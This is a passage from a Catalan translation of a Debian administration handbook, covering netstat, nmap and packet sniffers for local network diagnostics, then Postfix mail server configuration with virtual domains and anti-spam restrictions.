# netstat -tupan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 397/rpcbind tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 431/sshd tcp 0 0 0.0.0.0:36568 0.0.0.0:* LISTEN 407/rpc.statd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 762/exim4 tcp 0 272 192.168.1.242:22 192.168.1.129:44452 ESTABLISHED 1172/sshd: roland [ tcp6 0 0 :::111 :::* LISTEN 397/rpcbind tcp6 0 0 :::22 :::* LISTEN 431/sshd tcp6 0 0 ::1:25 :::* LISTEN 762/exim4 tcp6 0 0 :::35210 :::* LISTEN 407/rpc.statd udp 0 0 0.0.0.0:39376 0.0.0.0:* 916/dhclient udp 0 0 0.0.0.0:996 0.0.0.0:* 397/rpcbind udp 0 0 127.0.0.1:1007 0.0.0.0:* 407/rpc.statd udp 0 0 0.0.0.0:68 0.0.0.0:* 916/dhclient udp 0 0 0.0.0.0:48720 0.0.0.0:* 451/avahi-daemon: r udp 0 0 0.0.0.0:111 0.0.0.0:* 397/rpcbind udp 0 0 192.168.1.242:123 0.0.0.0:* 539/ntpd udp 0 0 127.0.0.1:123 0.0.0.0:* 539/ntpd udp 0 0 0.0.0.0:123 0.0.0.0:* 539/ntpd udp 0 0 0.0.0.0:5353 0.0.0.0:* 451/avahi-daemon: r udp 0 0 0.0.0.0:39172 0.0.0.0:* 407/rpc.statd udp6 0 0 :::996 :::* 397/rpcbind udp6 0 0 :::34277 :::* 407/rpc.statd udp6 0 0 :::54852 :::* 916/dhclient udp6 0 0 :::111 :::* 397/rpcbind udp6 0 0 :::38007 :::* 451/avahi-daemon: r udp6 0 0 fe80::5054:ff:fe99::123 :::* 539/ntpd udp6 0 0 2001:bc8:3a7e:210:a:123 :::* 539/ntpd udp6 0 0 2001:bc8:3a7e:210:5:123 :::* 539/ntpd udp6 0 0 ::1:123 :::* 539/ntpd udp6 0 0 :::123 :::* 539/ntpd udp6 0 0 :::5353 :::* 451/avahi-daemon: r

Com era d'esperar, es mostren les connexions establertes, dues connexions SSH en aquest cas, i les aplicacions que esperen connexions entrants (mostrades amb LISTEN), en particular el servidor de correu electrònic Exim4 que escolta pel port 25.

10.9.2. Diagnòstic remot: nmap

nmap (al paquet del mateix nom) és, d'alguna manera, l'equivalent remot per netstat. Pot escanejar un conjunt de ports "ben coneguts" per a un o diversos servidors remots, i llista els ports on es troba una aplicació per respondre a les connexions entrants. A més, nmap és capaç d'identificar algunes d'aquestes aplicacions, de vegades fins i tot el seu número de versió. La contrapartida d'aquesta eina és que, ja que funciona remotament, no pot proporcionar informació sobre processos o usuaris; no obstant això, pot operar en diversos objectius alhora.

Una invocació típica nmap només utilitza l'opció -A (de manera que nmap intenta identificar les versions del programari del servidor que troba) seguida d'una o més adreces IP o noms DNS de màquines per escanejar. De nou, hi ha moltes més opcions per controlar el comportament d'nmap; si us plau consulteu la documentació de la plana del manual nmap(1).

# nmap debian Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:58 CET Nmap scan report for debian (192.168.122.57) Host is up (0.000087s latency). Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh 79/tcp open finger 80/tcp open http 113/tcp open ident Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds # nmap -A localhost nmap -A localhost Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:56 CET Stats: 0:01:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 83.33% done; ETC: 20:57 (0:00:15 remaining) Nmap scan report for localhost (127.0.0.1) Host is up (0.000086s latency). Other addresses for localhost (not scanned): ::1 Not shown: 994 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) |_auth-owners: foobar 25/tcp open smtp Postfix smtpd |_auth-owners: foobar |_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, | ssl-cert: Subject: commonName=debian | Subject Alternative Name: DNS:debian | Not valid before: 2022-02-22T14:48:42 |_Not valid after: 2032-02-20T14:48:42 |_ssl-date: TLS randomness does not represent time 79/tcp open finger? |_auth-owners: foobar |_finger: ERROR: Script execution failed (use -d to debug) 80/tcp open http Apache httpd 2.4.52 ((Debian)) |_auth-owners: foobar |_http-server-header: Apache/2.4.52 (Debian) |_http-title: Apache2 Debian Default Page: It works 113/tcp open ident Liedentd (Claimed user: foobar) |_auth-owners: foobar 631/tcp open ipp CUPS 2.3 |_auth-owners: foobar | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: CUPS/2.3 IPP/2.1 |_http-title: Home - CUPS 2.3.3op2 Service Info: Host: debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 87.91 seconds

Com era d'esperar, les aplicacions SSH, Apache i Postfix apareixen llistades. Tingueu en compte que no totes les aplicacions escolten en totes les adreces IP; ja que Postfix només és accessible a la interfície de «loopback” lo, només apareix durant una anàlisi de localhost i no quan s'escaneja debian (que es refereix a la interfície enp1s0 de la mateixa màquina).

10.9.3. «Sniffers»: tcpdump i wireshark

A vegades cal mirar el que realment passa pel cable, paquet per paquet. Aquests casos requereixen un “analitzador de trames”, més conegut com a «sniffer». Aquesta eina observa tots els paquets que arriben a una interfície de xarxa donada i els mostra de manera fàcil d'interpretar.

L'eina venerable en aquest domini és tcpdump, disponible com a eina estàndard en una àmplia gamma de plataformes. Permet molts tipus de captura de trànsit de xarxa, però la representació d'aquest trànsit roman bastant obscura. Per tant, no la descriurem amb més detall.

Una eina més recent (i més moderna), wireshark (al paquet wireshark), s'ha convertit en la nova referència en l'anàlisi de trànsit de xarxa a causa dels seus molts mòduls de descodificació que permeten una anàlisi simplificada dels paquets capturats. Els paquets es mostren gràficament amb una organització basada en les capes de protocol. Això permet a l'usuari visualitzar tots els protocols implicats en un paquet. Per exemple, donat un paquet que conté una sol·licitud HTTP, wireshark mostra, per separat, la informació relativa a la capa física, la capa Ethernet, la informació del paquet IP, els paràmetres de la connexió TCP, i finalment la sol·licitud HTTP.

Figura 10.1. L'analitzador de trànsit de xarxa wireshark

En el nostre exemple, els paquets que viatgen sobre SSH es filtren (amb el filtre !tcp.port == 22). El paquet que es mostra actualment es va generar a la capa de transport del protocol SSHv2.

SUGGERIMENTwireshark sense interfície gràfica: tshark

Quan no es pot executar una interfície gràfica, o no es vol fer per qualsevol raó, hi ha també una versió de només text de wireshark amb el nom de tshark (en un paquet separat tshark). La majoria de les característiques de captura i descodificació hi estan disponibles, però la manca d'una interfície gràfica necessàriament limita les interaccions amb el programa (filtrant paquets després d'haver estat capturats, rastrejant una connexió TCP donada, etc.). Encara es pot utilitzar com a primer enfocament. Si es pretenen fer manipulacions addicionals i es requereix la interfície gràfica, els paquets es poden desar en un fitxer i aquest fitxer es pot carregar en un wireshark gràfic executant-se en una altra màquina.

Capítol 11. Serveis de xarxa: Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN

Els serveis de xarxa són els programes amb els quals els usuaris interaccionen directament en el seu treball diari. Són la punta de l'iceberg del sistema d'informació, i aquest capítol se centra en ells; les parts ocultes en les quals es basen són la infraestructura que ja hem descrit. Generalment requereixen la tecnologia d'encriptació descrita a Secció 10.2, «Certificats X.509».

11.1. Servidor de correu

Els administradors de Falcot Corp van seleccionar Postfix com a servidor de correu electrònic, degut a la fiabilitat i a la facilitat de configuració. De fet, el seu disseny força que cada tasca s'implementi en un procés amb el conjunt mínim de permisos requerits, que és una gran mesura de mitigació contra els problemes de seguretat.

ALTERNATIVA El servidor Exim4

Debian utilitza Exim4 com a servidor de correu electrònic per defecte (per això la instal·lació inicial inclou Exim4). La configuració és proporcionada per un paquet separat, exim4-config, i es personalitza automàticament basant-se en les respostes a un conjunt de preguntes Debconf molt similars a les preguntes plantejades pel paquet postfix.

La configuració pot estar en un sol fitxer (/etc/exim4/exim4.conf.template) o dividir-se en fragments de configuració emmagatzemats sota /etc/exim4/conf.d/. En ambdós casos, els fitxers són utilitzats per update-exim4.conf com a plantilles per a generar /var/lib/exim4/config.autogenerat. Aquest últim és el fitxer utilitzat per Exim4. Gràcies a aquest mecanisme, els valors obtinguts a través de la configuració debconf d'Exim — que s'emmagatzemen en /etc/exim4/update-exim4.conf.conf — es poden injectar al fitxer de configuració d'Exim, fins i tot quan l'administrador o un altre paquet ha alterat la configuració per defecte d'Exim.

La sintaxi del fitxer de configuració Exim4 té les seves peculiaritats i la seva corba d'aprenentatge; no obstant això, una vegada que aquestes peculiaritats són enteses, Exim4 és un servidor de correu electrònic molt complet i potent com ho demostren les desenes de pàgines de documentació.

→ https://www.exim.org/docs.html

11.1.1. Instal·lació de Postfix

El paquet postfix inclou el dimoni SMTP principal. Altres paquets (com ara postfix-ldap i postfix-pgsql) afegeixen funcionalitat addicional a Postfix, incloent-hi accés a bases de dades. Només cal instal·lar-los si se sap que es necessiten.

TORNAR A LES BASES SMTP

SMTP («Simple Mail Transfer Protocol» o “Protocol simple de transferència de correu”, RFC 5321) és el protocol utilitzat pels servidors de correu per intercanviar i encaminar correus electrònics.

Durant la instal·lació del paquet es fan diverses preguntes Debconf. Les respostes permeten generar una primera versió del fitxer de configuració /etc/postfix/main.cf.

La primera pregunta es refereix al tipus de configuració. Només dues de les respostes proposades són rellevants en el cas d'un servidor connectat a Internet, «Internet site» i «Internet with smarthost». El primer és adequat per a un servidor que rep correu electrònic entrant i envia correu electrònic sortint directament als seus destinataris, i per tant està ben adaptat al cas Falcot Corp. El segon és adequat per a un servidor que rep un correu electrònic entrant normalment, però que envia el correu electrònic sortint a través d'un servidor SMTP intermedi — l'«smarthost»— en lloc de fer-ho directament al servidor del destinatari. Això és en gran part útil per a persones amb una adreça IP dinàmica, ja que molts servidors de correu electrònic rebutgen missatges que venen directament des d'una adreça IP. En aquest cas, l'«smarthost» normalment serà el servidor SMTP de l'ISP, que sempre està configurat per acceptar el correu electrònic procedent dels clients de l'ISP i per reenviar-lo adequadament. Aquesta configuració (amb un «smarthost») també és rellevant per als servidors que no estan connectats permanentment a Internet, ja que evita haver de gestionar una cua de missatges pendents d'entrega que s'han de tornar a provar d'enviar més tard.

VOCABULARI ISP

ISP és l'acrònim de «Internet Service Provider» o “Proveïdor de serveis d'Internet”. Fa referència a una entitat, sovint una empresa comercial, que proporciona connexions a Internet i els serveis bàsics associats (correu electrònic, notícies, etc.).

La segona pregunta tracta sobre el nom complet de la màquina, que s'utilitza per generar adreces de correu electrònic a partir d'un nom d'usuari local; el nom complet de la màquina esdevé la part després de l'arrova ("@"). En el cas de Falcot, la resposta hauria de ser mail.falcot.com. Aquesta és l'única pregunta formulada per defecte, però la configuració a la qual condueix no és prou completa per a les necessitats de Falcot, per la qual cosa els administradors executen dpkg-reconfigure postfix per tal de poder personalitzar més paràmetres.

Una de les preguntes addicionals demana tots els noms de domini relacionats amb aquesta màquina. La llista per defecte inclou el seu nom complet, així com alguns sinònims de localhost, però el domini principal falcot.comha de ser afegit a mà. En general, aquesta pregunta s'ha de respondre normalment amb tots els noms de domini pels quals aquesta màquina hauria de servir com a servidor MX; en altres paraules, tots els noms de domini pels quals el DNS diu que aquesta màquina acceptarà el correu electrònic. Aquesta informació acaba a la variable mydestination del fitxer de configuració principal de Postfix — /etc/postfix/main.cf.

Figura 11.1. Rol del registre DNS MX a l'enviar un correu

EXTRA Consulta dels registres MX

Quan el DNS no té un registre MX per a un domini, el servidor de correu electrònic intentarà enviar els missatges al mateix amfitrió, utilitzant el corresponent registre A (o AAAA en IPv6).

En alguns casos, la instal·lació també pot preguntar des de quines xarxes es permet enviar correus electrònics a través de la màquina. En la configuració per defecte, Postfix només accepta correus electrònics procedents de la pròpia màquina; la xarxa local també s'hi afegirà normalment. Els administradors de Falcot Corp van afegir 192.168.0.0/16 a la resposta per defecte. Si la pregunta no es fa, la variable rellevant en el fitxer de configuració és mynetworks, com es veu a l'exemple següent.

El correu electrònic local també es pot lliurar a través de procmail. Aquesta eina permet als usuaris ordenar el seu correu electrònic entrant d'acord amb les regles emmagatzemades al seu fitxer ./.procmailrc. Tant Postfix com Exim4 suggereixen procmail per defecte, però hi ha alternatives com ara maildrop o els filtres Sieve.

Després d'aquest primer pas, els administradors van obtenir el següent fitxer de configuració; s'utilitzarà com a punt de partida per afegir alguna funcionalitat addicional en les següents seccions.

Exemple 11.1. Fitxer /etc/postfix/main.cf inicial

# See /usr/share/postfix/main.cf.dist for a commented, more complete version # Debian specific: Specifying a file name will cause the first # line of that file to be used as the name. The Debian default # is /etc/mailname. #myorigin = /etc/mailname smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU) biff = no # appending .domain is the MUA's job. append_dot_mydomain = no # Uncomment the next line to generate "delayed mail" warnings #delay_warning_time = 4h readme_directory = no # See http://www.postfix.org/COMPATIBILITY_README.html -- default to 2 on # fresh installs. compatibility_level = 2 # TLS parameters smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_tls_security_level=may smtp_tls_CApath=/etc/ssl/certs smtp_tls_security_level=may smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination myhostname = mail.falcot.com alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost relayhost = mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all default_transport = smtp relay_transport = smtp inet_protocols = all myorigin = /etc/mailname

SEGURETAT Certificats SSL Snake oil

Els certificats «snake oil», o d'oli de serp, com els medicaments d'oli de serp venuts per tipus sense escrúpols en temps antics, no tenen cap valor: no es pot confiar en ells per autenticar el servidor ja que són certificats “autosignats” generats automàticament. No obstant això, són útils per millorar la privacitat dels intercanvis.

En general, només haurien d'utilitzar-se amb finalitats per fer proves, i el servei normal ha d'utilitzar certificats reals. La iniciativa Let's encrypt ofereix certificats SSL/TLS gratuïts i de confiança que es poden generar utilitzant el paquet certbot tal com es descriu a Secció 11.2.2, «Afegir suport per a SSL» i després es poden usar amb postfix així:

smtpd_tls_cert_file = /etc/letsencrypt/live/DOMINI/fullchain.pem smtpd_tls_key_file = /etc/letsencrypt/live/DOMINI/privkey.pem smtpd_tls_CAfile = /etc/ssl/certs/ca-certificates.crt smtpd_tls_CApath = /etc/ssl/certs smtp_tls_CApath = /etc/ssl/certs

Una manera diferent de generar-se certificats propis usant la pròpia autoritat certificadora es descriu a Secció 10.2.2, «Infraestructura de clau pública: easy-rsa».

11.1.2. Configuració de dominis virtuals

El servidor de correu pot rebre correus electrònics adreçats a altres dominis a més del domini principal; aquests es coneixen com a dominis “virtuals”. En la majoria dels casos, els correus electrònics no estan destinats a usuaris locals. Postfix proporciona dues característiques interessants per gestionar els dominis virtuals.

COMPTE Dominis virtuals i dominis canònics

Cap dels dominis virtuals ha de ser referenciat a la variable mydestination; aquesta variable només conté els noms dels dominis “canònics” directament associats a la màquina i als seus usuaris locals.

11.1.2.1. Àlies de domini virtual

Un domini d'àlies virtual només conté àlies, és a dir, adreces que només reenvien correus electrònics a altres adreces.

Un domini d'aquesta mena s'habilita afegint el seu nom a la variable virtual_alias_domains, i fent referència a un fitxer de correspondència d'adreces amb la variable virtual_alias_maps.

virtual_alias_domains = falcotsbrand.com virtual_alias_maps = hash:/etc/postfix/virtual

El fitxer /etc/postfix/virtual descriu una correspondència amb una sintaxi bastant simple: cada línia conté dos camps separats per espais en blanc; el primer camp és el nom de l'àlies, el segon camp és una llista d'adreces de correu electrònic a on redirigeix. La sintaxi especial @domain.com cobreix tots els àlies restants en un domini.

webmaster@falcotsbrand.com jean@falcot.com contact@falcotsbrand.com laure@falcot.com, sophie@falcot.com # L'àlies següent és genèric i abasta totes les adreces del domini # falcotsbrand.com que no s'explicitin en aquest fitxer. # Aquestes adreces redirigeixen el correu cap al mateix nom d'usuari # del domini falcot.com. @falcotsbrand.com @falcot.com

Després de canviar /etc/postfix/virtual, la taula de postfix /etc/postfix/virtual.db necessita ser actualitzada utilitzant l'ordre sudo postmap /etc/postfix/virtual.

11.1.2.2. Dominis de bústies virtuals

COMPTE Domini virtual combinat?

Postfix no permet utilitzar el mateix domini en els dos virtual_alias_domains i virtual_mailbox_domains. No obstant això, tots els dominis de virtual_mailbox_domains s'inclouen implícitament a virtual_alias_domains, que fa possible barrejar àlies i bústies dins d'un domini virtual.

Els missatges adreçats a un domini de bústies virtuals s'emmagatzemen en bústies que no estan assignades a un usuari local del sistema.

L'activació d'un domini de bústies virtuals requereix citar aquest domini a la variable virtual_mailbox_domains, i fer referència a un fitxer de correspondència de bústies a virtual_mailbox_maps. El paràmetre virtual_mailbox_base conté el directori sota el qual s'emmagatzemaran les bústies.

virtual_mailbox_domains = falcot.org virtual_mailbox_maps = hash:/etc/postfix/vmailbox virtual_mailbox_base = /var/mail/vhosts

El paràmetre virtual_uid_maps (i respectivament virtual_gid_maps) fa referència al fitxer que conté la correspondència entre l'adreça de correu electrònic i l'usuari del sistema (i respectivament el grup) que «posseeix» la bústia corresponent. Per obtenir totes les bústies d'un mateix propietari/grup, la sintaxi static:5000 assigna un UID/GID fix (amb un valor de 5000 aquí).

De nou, la sintaxi del fitxer /etc/postfix/vmailbox és bastant senzilla: dos camps separats per espais en blanc. El primer camp és una adreça de correu electrònic dins d'un dels dominis virtuals, i el segon camp és la ubicació de la bústia associada (relativa al directori especificat a virtual_mailbox_base). Si el nom de la bústia acaba amb una barra (/), els correus electrònics s'emmagatzemaran en el format maildir; en cas contrari, s'utilitzarà el format tradicional mbox. El format maildir utilitza tot un directori sencer per emmagatzemar una bústia, on cada missatge individual s'emmagatzema en un fitxer separat. En el format mbox, d'altra banda, tota la bústia s'emmagatzema en un sol fitxer, i cada línia que comença amb “From ” (From seguit d'un espai) indica l'inici d'un nou missatge.

# El correu electrònic de Jean és desat com a maildir, # amb un fitxer per correu en un directori dedicat jean@falcot.org falcot.org/jean/ # El correu electrònic de Sophie és desat en un fitxer «mbox» # tradicional, amb tots els correus concanenats en un sol fitxer sophie@falcot.org falcot.org/sophie

11.1.3. Restriccions per rebre i enviar

El nombre creixent de correus electrònics massius no sol·licitats («spam») requereix ser cada vegada més estricte quan es decideixen quins correus electrònics un servidor hauria d'acceptar. Aquesta secció presenta algunes de les estratègies incloses al Postfix.

Si les regles de rebuig són massa estrictes, pot succeir que fins i tot el trànsit de correu electrònic legítim quedi bloquejat. És un bon costum provar les restriccions i evitar el rebuig permanent de les peticions durant un temps utilitzant la directiva soft_bounce = yes. Al precedir una directiva de tipus rebuig amb warn_if_reject només es generarà un missatge de registre en lloc de rebutjar la sol·licitud.

CULTURA El problema de l'«spam»

“Spam” és un terme genèric utilitzat per designar tots els correus electrònics no sol·licitats (també coneguts com a UCE de l'anglès «Unsolicited Commercial Emails» o “correus electrònics comercials no sol·licitats”) que inunden les nostres bústies electròniques; els individus sense escrúpols que els envien es coneixen com a «spammers». No els importa gaire la molèstia que causen, ja que enviar un correu electrònic costa molt poc, i només cal que un percentatge molt petit de destinataris se senti atret per les ofertes perquè l'operació d'«spamming» faci guanyar més diners del que costa. El procés és majoritàriament automatitzat, i qualsevol adreça de correu electrònic feta pública (per exemple, en un fòrum web, o en els arxius d'una llista de correu, o en un blog, etc.) serà probablement descoberta pels robots dels «spammers», i sotmesa a un flux interminable de missatges no sol·licitats. També són destinataris cada contacte trobat en un sistema compromès.

Tots els administradors del sistema intenten enfrontar-se a aquesta molèstia amb els filtres d'«spam», però, per descomptat, els «spammers» s'estan adaptant per intentar esquivar aquests filtres. Alguns fins i tot lloguen xarxes de màquines atacades per algun “cuc” per part de sindicats criminals. Les estadístiques recents estimen que fins al 95% de tots els correus electrònics que circulen per Internet són «spam»!

11.1.3.1. Restriccions d'accés basades en IP

La directiva smtpd_client_restrictions controla les màquines que tenen permès comunicar-se amb el servidor de correu electrònic.

Quan una variable conté una llista de regles, com en l'exemple següent, aquestes regles s'avaluen per ordre, des de la primera fins a l'última. Cada regla pot acceptar el missatge, rebutjar-lo, o deixar la decisió a una regla següent. En conseqüència, l'ordenació influeix i simplement intercanviar dues regles pot implicar un comportament molt diferent.

Exemple 11.2. Restriccions basades en l'adreça del client

smtpd_client_restrictions = permit_mynetworks, warn_if_reject reject_unknown_client_hostname, check_client_access hash:/etc/postfix/access_clientip, reject_rhsbl_reverse_client dbl.spamhaus.org, reject_rhsbl_reverse_client rhsbl.sorbs.net, reject_rbl_client zen.spamhaus.org, reject_rbl_client dnsbl.sorbs.net

La directiva permit_mynetworks, utilitzada com a primera regla, accepta tots els correus electrònics procedents d'una màquina a la xarxa local (segons com es defineixi a la variable de configuraciómynetworks).

La segona directiva normalment rebutjaria els correus electrònics procedents de màquines sense una configuració DNS completament vàlida. Una configuració vàlida significa que l'adreça IP es pot resoldre amb un nom, i que aquest nom, al seu torn, es resol amb l'adreça IP. Aquesta restricció és sovint massa estricta, ja que molts servidors de correu electrònic no tenen un DNS invers per a la seva adreça IP. Això explica per què els administradors de Falcot han precedit amb el modificador warn_if_reject la directiva reject_unknown_client: aquest modificador converteix el rebuig en un simple avís desat als registres. Els administradors poden vigilar el nombre de missatges que es rebutjarien si la norma s'apliqués realment i prendre una decisió informada més tard si desitgen activar aquesta restricció.

SUGGERIMENT taules access

Els criteris de restricció inclouen taules modificables per l'administrador llistant combinacions de remitents, adreces IP, i noms d'amfitrió permesos o prohibits. Aquestes taules es poden crear utilitzant una còpia del fitxer /usr/share/doc/postfix/examples/access inclòs al paquet postfix-doc i explicat a access(5). Aquest model està documentat amb els seus comentaris, el que significa que cada taula descriu la seva pròpia sintaxi.

La taula /etc/postfix/access_clientip llista xarxes i adreces IP; /etc/postfix/access_helo llista noms de domini; /etc/postfix/access_sender conté adreces de correu electrònic de remitents. Tots aquests fitxers s'han de convertir en taules «hash» (un format optimitzat per a un accés ràpid) després de cada canvi amb l'ordre sudo postmap /etc/postfix/fitxer.

La directiva check_client_access permet a l'administrador establir una llista negra i una llista blanca de servidors de correu electrònic, emmagatzemada al fitxer /etc/postfix/access_clientip. Els servidors de la llista blanca es consideren de confiança, i els correus electrònics procedents d'ells no han de passar per les regles de filtratge següents.

Les quatre últimes regles rebutgen qualsevol missatge que vingui d'un servidor llistat en una de les llistes negres indicades. RBL és un acrònim de «Remote Black List» o “llista negra remota”, i RHSBL significa «Right-Hand Side Black List» o “llista negra de mà dreta”. La diferència és que la primera llista adreces IP, mentre que la darrera llista noms de domini. Hi ha diversos serveis d'aquest tipus. Llisten dominis i adreces IP amb pobra reputació, servidors mal configurats que els «spammers» utilitzen per retransmetre els seus correus electrònics, així com relés de correu inesperats com màquines infectades amb cucs o virus.

SUGGERIMENT Llistes blanques i RBLs

Les llistes negres de vegades inclouen algun servidor legítim que ha patit un incident. En aquestes situacions, tots els correus electrònics procedents d'un d'aquests servidors serien rebutjats llevat que el servidor estigui llistat en una llista blanca definida per /etc/postfix/access_clientip.

Per tant, la prudència recomana incloure a les llistes blanques tots els servidors de confiança dels quals es rebin molts correus electrònics.

11.1.3.2. Comprovació de la validesa de les ordre EHLO o HELO

Cada intercanvi SMTP comença amb una ordre HELO (o EHLO), seguida pel nom del servidor de correu electrònic que envia. Comprovar la validesa d'aquest nom pot ser interessant. Per aplicar plenament les restriccions llistades a smtpd_helo_restrictions l'opció smtpd_helo_required cal que estigui habilitada. En cas contrari, els clients podrien saltar-se les restriccions sense enviar cap comanda HELO/EHLO.

Exemple 11.3. Restriccions en el nom anunciat a EHLO

smtpd_helo_required = yes smtpd_helo_restrictions = permit_mynetworks, reject_invalid_helo_hostname, reject_non_fqdn_helo_hostname, warn_if_reject reject_unknown_helo_hostname, check_helo_access hash:/etc/postfix/access_helo, reject_rhsbl_helo multi.surbl.org

La primera directiva permit_mynetworks permet que totes les màquines de la xarxa local es presentin lliurement. Això és important, perquè alguns programes de correu electrònic no respecten prou adequadament aquesta part del protocol SMTP, i poden presentar-se amb noms absurds.

La regla reject_invalid_helo_hostname rebutja els correus electrònics quan l'anunci EHLO presenta un nom d'amfitrió sintàcticament incorrecte. La regla reject_non_fqdn_helo_hostname rebutja els missatges quan el nom d'amfitrió anunciat no és un nom de domini plenament qualificat (que inclou un nom de domini i també un nom d'amfitrió). La regla reject_unknown_helo_hostname rebutja els missatges si el nom anunciat no existeix al DNS. Com que aquesta última norma, desgraciadament, provoca molts rebuigs, els administradors han canviat el seu efecte per un simple avís amb el modificador warn_if_reject com un primer pas; poden decidir eliminar aquest modificador en una fase posterior, després d'haver auditat els efectes d'aquesta regla.

El reject_rhsbl_helo permet especificar una llista negra per comprovar el nom de l'amfitrió contra una RHSBL.

Usar permit_mynetworks com a primera regla té un efecte secundari interessant: les següents regles només s'apliquen als amfitrions fora de la xarxa local. Això permet rebutjar tots els amfitrions que s'anuncien com a part de la xarxa falcot.com, per exemple afegint una línia falcot.com REJECT Tu no ets de la nostra xarxa! a l'arxiu /etc/postfix/access_helo.

11.1.3.3. Acceptar o refusar correus basant-se en el remitent anunciat

Cada missatge té un remitent, anunciat per l'ordre MAIL FROM del protocol SMTP; de nou, aquesta informació es pot validar de diverses maneres diferents.

Exemple 11.4. Comprovacions del remitent

smtpd_sender_restrictions = check_sender_access hash:/etc/postfix/access_sender, reject_unknown_sender_domain, reject_unlisted_sender, reject_non_fqdn_sender, reject_rhsbl_sender rhsbl.sorbs.net

La taula /etc/postfix/access_sender assigna un tractament especial a alguns remitents. Això normalment significa tenir alguns remitents en una llista blanca o en una llista negra.

La regla reject_unknown_sender_domain requereix un domini vàlid pel remitent, ja que és necessari per a una adreça vàlida. La regla reject_unlisted_sender rebutja els remitents locals si l'adreça no existeix; això evita que els correus electrònics s'enviïn des d'una adreça no vàlida del domini falcot.com, i els missatges de joe.bloggs@falcot.com només s'acceptaran si aquesta adreça existeix realment.

Finalment, la regla reject_non_fqdn_sender rebutja els correus electrònics que pretenen venir d'adreces sense un nom de domini plenament qualificat. A la pràctica, això significa rebutjar els correus electrònics procedents d'usuari@màquina: l'adreça s'ha d'anunciar com usuari@màquina.exemple.com o usuari@exemple.com.

La regla reject_rhsbl_sender rebutja els remitents basats en un servei RHSBL (basat en domini).

11.1.3.4. Acceptar o refusar correus basant-se en el destinatari

Cada correu electrònic té com a mínim un destinatari, anunciat amb l'ordre RCPT TO del protocol SMTP. Aquestes adreces també justifiquen validació, encara que això pugui ser menys rellevant que els controls realitzats en l'adreça del remitent.

Exemple 11.5. Comprovacions del destinatari

smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, reject_unlisted_recipient, reject_non_fqdn_recipient, permit

reject_unauth_destination és la regla bàsica que requereix que els missatges externs siguin adreçats a nosaltres; els missatges enviats a una adreça no servida per aquest servidor són rebutjats. Sense aquesta regla, un servidor es converteix en un relé obert que permet als «spammers» enviar correus electrònics no sol·licitats; aquesta regla és, per tant, obligatòria, i s'inclourà preferiblement prop del començament de la llista, de manera que cap altra regla pot autoritzar el missatge abans que la seva destinació hagi estat verificada.

La regla reject_unlisted_rerecipient rebutja els missatges enviats a usuaris locals no existents, la qual cosa té sentit. Finalment, la regla reject_non_fqdn_recipient rebutja adreces no completament qualificades; això fa que sigui impossible enviar un correu electrònic a jean o jean@ordinador, i requereix l'ús de l'adreça completa, com ara jean@ordinador.falcot.com o jean@falcot.com.

La directiva permit al final no és necessària. Però pot ser útil al final d'una llista de restriccions per fer explícita la política per defecte.

11.1.3.5. Restriccions associades amb l'ordre DATA

L'ordre DATA de SMTP s'emet abans del contingut del missatge. No proporciona cap informació per se, a part d'anunciar què ve després. Tot i així pot sotmetre's a controls.

Exemple 11.6. Controls de DATA

smtpd_data_restrictions = reject_unauth_pipelining

Les directives reject_unauth_pipelining fan que el missatge sigui rebutjat si la part emissora envia una ordre abans que s'hagi tornat la resposta a l'ordre anterior. Això protegeix d'una optimització comuna usada pels robots dels «spammers», ja que normalment no els importen les respostes i només se centren en enviar tants correus com sigui possible en el menor temps possible.

11.1.3.6. Aplicació de restriccions

Tot i que les ordres anteriors validen informació en diverses etapes de l'intercanvi SMTP, Postfix envia per defecte el rebuig en si com a resposta a l'ordre RCPT TO.

Això significa que encara que el missatge sigui rebutjat a causa d'una ordre invàlida EHLO, Postfix coneix el remitent i el destinatari quan anuncia el rebuig. Així pot registrar un missatge més explícit del que podria si la transacció s'hagués interromput des del principi. A més, hi ha una sèrie de clients SMTP que no esperen fallades en les ordres SMTP inicials, i aquests clients seran menys destorbats per aquest rebuig tardà.

Un avantatge final d'aquesta elecció és que les regles poden acumular informació durant les diverses etapes de l'intercanvi SMTP; això permet definir permisos més refinats, com ara rebutjar una connexió no local si s'anuncia amb un remitent local.

El comportament per defecte és controlat per la regla smtpd_delay_reject.

11.1.3.7. Filtratge basat en el contingut del missatge

El sistema de validació i restricció no seria complet sense una manera d'aplicar comprovacions al contingut del missatge. Postfix diferencia les comprovacions que s'apliquen a les capçaleres del correu electrònic de les que s'apliquen al cos del correu electrònic.

Exemple 11.7. Habilitació de filtres basats en el contingut

header_checks = regexp:/etc/postfix/header_checks body_checks = regexp:/etc/postfix/body_checks

Ambdós fitxers contenen una llista d'expressions regulars (comunament conegudes com a «regexps» o «regexes») i les accions associades que s'han d'activar quan les capçaleres del correu electrònic (o el cos) concorden amb l'expressió.

